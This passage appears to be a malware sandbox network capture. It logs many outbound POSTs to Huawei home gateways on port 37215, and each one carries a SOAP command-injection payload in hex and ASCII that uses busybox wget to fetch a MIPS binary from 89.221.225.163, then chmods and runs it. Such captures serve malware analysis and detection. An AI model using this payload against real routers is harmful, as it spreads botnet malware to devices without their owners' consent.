62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	53682	41.75.87.189	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.093650103 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	37720	197.23.164.92	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.094681978 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	34244	156.137.155.99	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.096424103 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	37560	41.251.248.239	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.097935915 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	38110	197.231.175.245	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.099524021 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	46528	41.2.163.52	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.104327917 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	57708	156.150.87.77	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.107175112 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	41636	197.97.88.153	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.110591888 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	42912	156.56.63.6	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.112875938 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	59754	197.8.24.240	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.116046906 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	54450	197.219.223.91	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.118474007 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 